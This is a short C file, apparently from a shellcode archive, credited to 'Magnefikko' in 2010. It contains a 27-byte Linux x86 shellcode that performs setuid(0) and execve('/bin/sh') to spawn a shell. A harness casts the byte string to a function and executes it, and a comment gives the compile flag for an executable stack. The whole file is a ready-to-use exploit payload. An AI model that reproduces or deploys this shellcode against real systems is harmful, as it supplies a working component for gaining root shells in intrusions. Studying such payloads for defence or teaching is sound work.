#include <stdio.h> #include <string.h> /* by Magnefikko 24.04.2010 magnefikko@gmail.com Promhyl Studies :: http://promhyl.oz.pl Subgroup: #PRekambr Name: 27 bytes setuid(0) ^ execve("/bin/sh", 0, 0) shellcode Platform: Linux x86 setuid(0); execve("/bin/sh", 0, 0); gcc -Wl,-z,execstack filename.c shellcode: \x6a\x17\x58\x31\xdb\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80 */ int main(){ char shell[] ="\x6a\x17\x58\x31\xdb\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80"; printf("by Magnefikko\nmagnefikko@gmail.com\npromhyl.oz.pl\n\nstrlen(shell)= %d\n", strlen(shell)); (*(void (*)()) shell)(); }